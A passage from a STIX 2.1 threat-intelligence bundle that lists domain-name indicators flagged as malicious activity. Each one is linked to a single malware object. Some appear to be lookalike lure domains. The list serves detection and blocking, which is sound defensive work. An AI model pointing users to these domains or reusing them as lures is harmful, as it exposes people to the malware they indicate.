"indicator--ebd438f8-d3b3-4f6c-9577-1118ebeae8ec", "created": "2024-01-26T21:28:21.169964Z", "modified": "2024-01-26T21:28:21.169964Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='landstofree.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.169964Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a47933cc-6739-418d-a6ff-6c3dce38cd59", "created": "2024-01-26T21:28:21.170353Z", "modified": "2024-01-26T21:28:21.170353Z", "relationship_type": "indicates", "source_ref": "indicator--ebd438f8-d3b3-4f6c-9577-1118ebeae8ec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--57045126-fa23-457b-82ec-f2ea75b443ef", "created": "2024-01-26T21:28:21.170451Z", "modified": "2024-01-26T21:28:21.170451Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='currentscan.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.170451Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--200f6906-48d2-4481-922a-6b8b0098f149", "created": "2024-01-26T21:28:21.170841Z", "modified": "2024-01-26T21:28:21.170841Z", "relationship_type": "indicates", "source_ref": "indicator--57045126-fa23-457b-82ec-f2ea75b443ef", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe7d621e-aebc-486f-b3cf-d5d371ff4b0a", "created": "2024-01-26T21:28:21.170939Z", "modified": "2024-01-26T21:28:21.170939Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hillsaround.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.170939Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--485fcfdb-156d-4eba-a744-ad7ff21bb913", "created": "2024-01-26T21:28:21.171321Z", "modified": "2024-01-26T21:28:21.171321Z", "relationship_type": "indicates", "source_ref": "indicator--fe7d621e-aebc-486f-b3cf-d5d371ff4b0a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ff2f7113-d0f0-43bd-bc17-fac0b7542c07", "created": "2024-01-26T21:28:21.171417Z", "modified": "2024-01-26T21:28:21.171417Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smsmensaje.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.171417Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9f54cac9-be3f-498b-9567-8b20f8050187", "created": "2024-01-26T21:28:21.171799Z", "modified": "2024-01-26T21:28:21.171799Z", "relationship_type": "indicates", "source_ref": "indicator--ff2f7113-d0f0-43bd-bc17-fac0b7542c07", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--221a37c7-0029-4507-9796-aab69f400a2e", "created": "2024-01-26T21:28:21.171895Z", "modified": "2024-01-26T21:28:21.171895Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dental-care-spa.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.171895Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32e2315e-7b3a-499f-b063-630c6f2a3ca5", "created": "2024-01-26T21:28:21.172361Z", "modified": "2024-01-26T21:28:21.172361Z", "relationship_type": "indicates", "source_ref": "indicator--221a37c7-0029-4507-9796-aab69f400a2e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fc49ee93-37b4-4718-a9a8-8920e1a14f2d", "created": "2024-01-26T21:28:21.172461Z", "modified": "2024-01-26T21:28:21.172461Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='site-lock.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.172461Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ea98d803-f30c-480b-8ba3-7fb32975fffc", "created": "2024-01-26T21:28:21.172848Z", "modified": "2024-01-26T21:28:21.172848Z", "relationship_type": "indicates", "source_ref": "indicator--fc49ee93-37b4-4718-a9a8-8920e1a14f2d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--243c6072-0990-42a4-88b8-54fa7cda01b7", "created": "2024-01-26T21:28:21.172948Z", "modified": "2024-01-26T21:28:21.172948Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='music-headphones.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.172948Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c92d234-bc14-482f-9100-4b7d051bd980", "created": "2024-01-26T21:28:21.173335Z", "modified": "2024-01-26T21:28:21.173335Z", "relationship_type": "indicates", "source_ref": "indicator--243c6072-0990-42a4-88b8-54fa7cda01b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b38ac482-3345-4e9a-8dc6-dab76948e6ce", "created": "2024-01-26T21:28:21.173432Z", "modified": "2024-01-26T21:28:21.173432Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cnn-africa.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.173432Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2bc2da73-388d-473b-a5f1-6061184e4749", "created": "2024-01-26T21:28:21.173813Z", "modified": "2024-01-26T21:28:21.173813Z", "relationship_type": "indicates", "source_ref": "indicator--b38ac482-3345-4e9a-8dc6-dab76948e6ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--787811d9-aa97-490d-90ba-666a50bb8e88", "created": "2024-01-26T21:28:21.173908Z", "modified": "2024-01-26T21:28:21.173908Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smarttarfi.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.173908Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--392e358c-1ae0-4014-914d-6d9ae0983c82", "created": "2024-01-26T21:28:21.174291Z", "modified": "2024-01-26T21:28:21.174291Z", "relationship_type": "indicates", "source_ref": "indicator--787811d9-aa97-490d-90ba-666a50bb8e88", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ba98fdf8-89bc-423b-ae6d-209ff549f9fd", "created": "2024-01-26T21:28:21.174385Z", "modified": "2024-01-26T21:28:21.174385Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-domain.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.174385Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--969a111a-1f6f-4073-8617-030fa3a38736", "created": "2024-01-26T21:28:21.174777Z", "modified": "2024-01-26T21:28:21.174777Z", "relationship_type": "indicates", "source_ref": "indicator--ba98fdf8-89bc-423b-ae6d-209ff549f9fd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0027bdf5-8824-4221-95b1-4f0609944b13", "created": "2024-01-26T21:28:21.174876Z", "modified": "2024-01-26T21:28:21.174876Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tiketon.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.174876Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f952b4aa-e8d4-49c2-930f-73545675b4aa", "created": "2024-01-26T21:28:21.175265Z", "modified": "2024-01-26T21:28:21.175265Z", "relationship_type": "indicates", "source_ref": "indicator--0027bdf5-8824-4221-95b1-4f0609944b13", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--233ff8f9-b526-4de7-80f0-ef05b427ce31", "created": "2024-01-26T21:28:21.175362Z", "modified": "2024-01-26T21:28:21.175362Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='exoticsendurance.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.175362Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--33c3dad0-f1b7-4d9f-9e84-a57ddc2b3e73", "created": "2024-01-26T21:28:21.175758Z", "modified": "2024-01-26T21:28:21.175758Z", "relationship_type": "indicates", "source_ref": "indicator--233ff8f9-b526-4de7-80f0-ef05b427ce31", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eda8e4c4-01b7-43c2-b72f-f01066dacd51", "created": "2024-01-26T21:28:21.175855Z", "modified": "2024-01-26T21:28:21.175855Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pageisloading.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.175855Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86589435-f681-4178-82ad-c6cd7ff5c3ca", "created": "2024-01-26T21:28:21.176242Z", "modified": "2024-01-26T21:28:21.176242Z", "relationship_type": "indicates", "source_ref": "indicator--eda8e4c4-01b7-43c2-b72f-f01066dacd51", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--60a7d5b6-963c-46ca-87c5-f2ddec2c19f2", "created": "2024-01-26T21:28:21.176339Z", "modified": "2024-01-26T21:28:21.176339Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='instangram.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.176339Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b684980f-c753-48f9-8683-e066d617ccbe", "created": "2024-01-26T21:28:21.17681Z", "modified": "2024-01-26T21:28:21.17681Z", "relationship_type": "indicates", "source_ref": "indicator--60a7d5b6-963c-46ca-87c5-f2ddec2c19f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c566263b-fe70-4906-82e9-2d0a8f4bf354", "created": "2024-01-26T21:28:21.176911Z", "modified": "2024-01-26T21:28:21.176911Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='discoveredworld-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.176911Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ed0ed6c6-c06d-489a-bfae-c4a4610ac8af", "created": "2024-01-26T21:28:21.177311Z", "modified": "2024-01-26T21:28:21.177311Z", "relationship_type": "indicates", "source_ref": "indicator--c566263b-fe70-4906-82e9-2d0a8f4bf354", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d26c6b57-3528-4624-a051-0f0cd9e99003", "created": "2024-01-26T21:28:21.177409Z", "modified": "2024-01-26T21:28:21.177409Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='diningip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.177409Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--709f8f94-961b-46ae-9f17-827d99f13c4a", "created": "2024-01-26T21:28:21.177789Z", "modified": "2024-01-26T21:28:21.177789Z", "relationship_type": "indicates", "source_ref": "indicator--d26c6b57-3528-4624-a051-0f0cd9e99003", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c0cd3b6e-fe99-40ea-aca9-d6b4197efe00", "created": "2024-01-26T21:28:21.177886Z", "modified": "2024-01-26T21:28:21.177886Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alluneed4home.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.177886Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a78f7817-20a2-4b40-8956-a08c97c157ba", "created": "2024-01-26T21:28:21.178283Z", "modified": "2024-01-26T21:28:21.178283Z", "relationship_type": "indicates", "source_ref": "indicator--c0cd3b6e-fe99-40ea-aca9-d6b4197efe00", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0681dba7-88c4-440b-ac8d-9a9af8de4087", "created": "2024-01-26T21:28:21.178384Z", "modified": "2024-01-26T21:28:21.178384Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websupporter.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.178384Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cf033b8a-dd53-4131-91a4-041d067db840", "created": "2024-01-26T21:28:21.17878Z", "modified": "2024-01-26T21:28:21.17878Z", "relationship_type": "indicates", "source_ref": "indicator--0681dba7-88c4-440b-ac8d-9a9af8de4087", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6e49f175-d896-4da4-be6c-cce176471e5e", "created": "2024-01-26T21:28:21.17888Z", "modified": "2024-01-26T21:28:21.17888Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlytoday.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.17888Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3b106582-7fa0-4af9-a0df-c55117489a3c", "created": "2024-01-26T21:28:21.179266Z", "modified": "2024-01-26T21:28:21.179266Z", "relationship_type": "indicates", "source_ref": "indicator--6e49f175-d896-4da4-be6c-cce176471e5e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7e463e98-dd48-40b9-97d0-e743d61df7a7", "created": "2024-01-26T21:28:21.179363Z", "modified": "2024-01-26T21:28:21.179363Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webprotocol.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.179363Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--216b7e40-7458-43b9-a2e1-f625b5a93f7e", "created": "2024-01-26T21:28:21.179748Z", "modified": "2024-01-26T21:28:21.179748Z", "relationship_type": "indicates", "source_ref": "indicator--7e463e98-dd48-40b9-97d0-e743d61df7a7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6aa4fc54-db69-49cd-89d7-410fa1dac90a", "created": "2024-01-26T21:28:21.179844Z", "modified": "2024-01-26T21:28:21.179844Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bitfadepens.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.179844Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9bc2d8a7-34df-4172-a7a8-28ad87b3fd95", "created": "2024-01-26T21:28:21.180229Z", "modified": "2024-01-26T21:28:21.180229Z", "relationship_type": "indicates", "source_ref": "indicator--6aa4fc54-db69-49cd-89d7-410fa1dac90a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c7690825-4dc0-4962-98af-ee0b5bfc2560", "created": "2024-01-26T21:28:21.180324Z", "modified": "2024-01-26T21:28:21.180324Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clicktrack247.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.180324Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f465222f-3063-4b3e-932a-429819936692", "created": "2024-01-26T21:28:21.180721Z", "modified": "2024-01-26T21:28:21.180721Z", "relationship_type": "indicates", "source_ref": "indicator--c7690825-4dc0-4962-98af-ee0b5bfc2560", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--db57e158-0331-4de8-b9d4-1e74e5819c4a", "created": "2024-01-26T21:28:21.180819Z", "modified": "2024-01-26T21:28:21.180819Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pickcard.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.180819Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f1474534-11f0-499e-ad24-95f530198a78", "created": "2024-01-26T21:28:21.181282Z", "modified": "2024-01-26T21:28:21.181282Z", "relationship_type": "indicates", "source_ref": "indicator--db57e158-0331-4de8-b9d4-1e74e5819c4a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5ea07db7-e1a0-439a-a5b8-08076a4dac76", "created": "2024-01-26T21:28:21.181381Z", "modified": "2024-01-26T21:28:21.181381Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheapapartmentsaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.181381Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d25fda18-d69f-43f6-b02d-c2d25626a30c", "created": "2024-01-26T21:28:21.181784Z", "modified": "2024-01-26T21:28:21.181784Z", "relationship_type": "indicates", "source_ref": "indicator--5ea07db7-e1a0-439a-a5b8-08076a4dac76", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1094c8c0-598c-4f4d-8673-a08fdaa9eafd", "created": "2024-01-26T21:28:21.181881Z", "modified": "2024-01-26T21:28:21.181881Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='service-update.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.181881Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a4ac7c7e-b141-45b9-833a-c0b6a7e86693", "created": "2024-01-26T21:28:21.182271Z", "modified": "2024-01-26T21:28:21.182271Z", "relationship_type": "indicates", "source_ref": "indicator--1094c8c0-598c-4f4d-8673-a08fdaa9eafd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e23599c8-521a-4d8b-bd12-63272dde2477", "created": "2024-01-26T21:28:21.182367Z", "modified": "2024-01-26T21:28:21.182367Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='layerprotect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.182367Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af748817-1d83-43ef-80ae-a6561186f716", "created": "2024-01-26T21:28:21.182752Z", "modified": "2024-01-26T21:28:21.182752Z", "relationship_type": "indicates", "source_ref": "indicator--e23599c8-521a-4d8b-bd12-63272dde2477", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e3643fe1-d22d-47eb-a5c2-fa75c24473a1", "created": "2024-01-26T21:28:21.182851Z", "modified": "2024-01-26T21:28:21.182851Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='activate-discount.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.182851Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--07e6df05-81f5-4dd0-be08-5f982b2bd551", "created": "2024-01-26T21:28:21.183245Z", "modified": "2024-01-26T21:28:21.183245Z", "relationship_type": "indicates", "source_ref": "indicator--e3643fe1-d22d-47eb-a5c2-fa75c24473a1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9c26bc3c-14b8-48eb-8b2e-20f115b03a80", "created": "2024-01-26T21:28:21.183343Z", "modified": "2024-01-26T21:28:21.183343Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='a-resolver.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.183343Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5e5ae6dc-5752-46e9-b2bd-976b2f329280", "created": "2024-01-26T21:28:21.183731Z", "modified": "2024-01-26T21:28:21.183731Z", "relationship_type": "indicates", "source_ref": "indicator--9c26bc3c-14b8-48eb-8b2e-20f115b03a80", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--755f3235-d93f-4ef9-a863-ad166522f47f", "created": "2024-01-26T21:28:21.183829Z", "modified": "2024-01-26T21:28:21.183829Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='e-prokuror.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.183829Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--311bf90b-b646-4e3b-b48b-f116ebf7128a", "created": "2024-01-26T21:28:21.184211Z", "modified": "2024-01-26T21:28:21.184211Z", "relationship_type": "indicates", "source_ref": "indicator--755f3235-d93f-4ef9-a863-ad166522f47f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ccd3d1c4-0247-40a6-98b0-349c8987c8e1", "created": "2024-01-26T21:28:21.184308Z", "modified": "2024-01-26T21:28:21.184308Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlconfig.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.184308Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7311563b-b785-4966-8971-c7c8cfa08be5", "created": "2024-01-26T21:28:21.184701Z", "modified": "2024-01-26T21:28:21.184701Z", "relationship_type": "indicates", "source_ref": "indicator--ccd3d1c4-0247-40a6-98b0-349c8987c8e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ff74b7b5-a0a6-4a17-b9b1-69a6fe893371", "created": "2024-01-26T21:28:21.184802Z", "modified": "2024-01-26T21:28:21.184802Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='foodiez.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.184802Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7a2aafda-827f-402e-bee3-2719ae6c2889", "created": "2024-01-26T21:28:21.185186Z", "modified": "2024-01-26T21:28:21.185186Z", "relationship_type": "indicates", "source_ref": "indicator--ff74b7b5-a0a6-4a17-b9b1-69a6fe893371", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c0dabaaa-7ca9-4abc-86ed-126004b1bf70", "created": "2024-01-26T21:28:21.185282Z", "modified": "2024-01-26T21:28:21.185282Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='add-client.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.185282Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a04045ab-4a63-4127-9dd1-19563f0cf572", "created": "2024-01-26T21:28:21.185948Z", "modified": "2024-01-26T21:28:21.185948Z", "relationship_type": "indicates", "source_ref": "indicator--c0dabaaa-7ca9-4abc-86ed-126004b1bf70", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1904f57c-d918-44b2-91c4-9c95227e472e", "created": "2024-01-26T21:28:21.186048Z", "modified": "2024-01-26T21:28:21.186048Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arabnews365.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.186048Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ee90ef3-1952-4d8d-8676-a7b4a88a89d3", "created": "2024-01-26T21:28:21.186533Z", "modified": "2024-01-26T21:28:21.186533Z", "relationship_type": "indicates", "source_ref": "indicator--1904f57c-d918-44b2-91c4-9c95227e472e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f3fd7b2b-2ba4-4efd-8716-aab1f4970da4", "created": "2024-01-26T21:28:21.186638Z", "modified": "2024-01-26T21:28:21.186638Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='externaltransfers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.186638Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c82c6f66-db7e-4bf9-9d98-1aa8491fe9f2", "created": "2024-01-26T21:28:21.187031Z", "modified": "2024-01-26T21:28:21.187031Z", "relationship_type": "indicates", "source_ref": "indicator--f3fd7b2b-2ba4-4efd-8716-aab1f4970da4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ca9e6a7f-445d-428d-b936-e6001f269be3", "created": "2024-01-26T21:28:21.187128Z", "modified": "2024-01-26T21:28:21.187128Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dogfoodstorage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.187128Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7758b327-a362-477f-b323-40786684cde3", "created": "2024-01-26T21:28:21.187518Z", "modified": "2024-01-26T21:28:21.187518Z", "relationship_type": "indicates", "source_ref": "indicator--ca9e6a7f-445d-428d-b936-e6001f269be3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--42fa60f1-7d80-43e9-81d6-9cccfd0616f3", "created": "2024-01-26T21:28:21.187615Z", "modified": "2024-01-26T21:28:21.187615Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='optionalshift.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.187615Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d1ce2d4-a518-497e-9ba0-a0726d0aa982", "created": "2024-01-26T21:28:21.18801Z", "modified": "2024-01-26T21:28:21.18801Z", "relationship_type": "indicates", "source_ref": "indicator--42fa60f1-7d80-43e9-81d6-9cccfd0616f3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e2274c28-e1f3-4522-bac1-63447905866f", "created": "2024-01-26T21:28:21.188113Z", "modified": "2024-01-26T21:28:21.188113Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='freedominfo.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.188113Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3d32f056-e081-4e6d-994e-c4015a0cf805", "created": "2024-01-26T21:28:21.188499Z", "modified": "2024-01-26T21:28:21.188499Z", "relationship_type": "indicates", "source_ref": "indicator--e2274c28-e1f3-4522-bac1-63447905866f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd37bb3f-978f-4750-96da-5f4aa04d2514", "created": "2024-01-26T21:28:21.188599Z", "modified": "2024-01-26T21:28:21.188599Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holecatorange.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.188599Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a76a694c-942f-4a60-9816-4cd278d0b1c1", "created": "2024-01-26T21:28:21.18899Z", "modified": "2024-01-26T21:28:21.18899Z", "relationship_type": "indicates", "source_ref": "indicator--bd37bb3f-978f-4750-96da-5f4aa04d2514", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--48dd1a48-f848-4423-998d-f6791408ef00", "created": "2024-01-26T21:28:21.18909Z", "modified": "2024-01-26T21:28:21.18909Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='look-outsidenow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.18909Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f54e156d-5c22-4fe4-a774-800368389687", "created": "2024-01-26T21:28:21.189481Z", "modified": "2024-01-26T21:28:21.189481Z", "relationship_type": "indicates", "source_ref": "indicator--48dd1a48-f848-4423-998d-f6791408ef00", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1716b021-0d25-44b9-abe5-11854067b164", "created": "2024-01-26T21:28:21.189578Z", "modified": "2024-01-26T21:28:21.189578Z", "indicator_types": 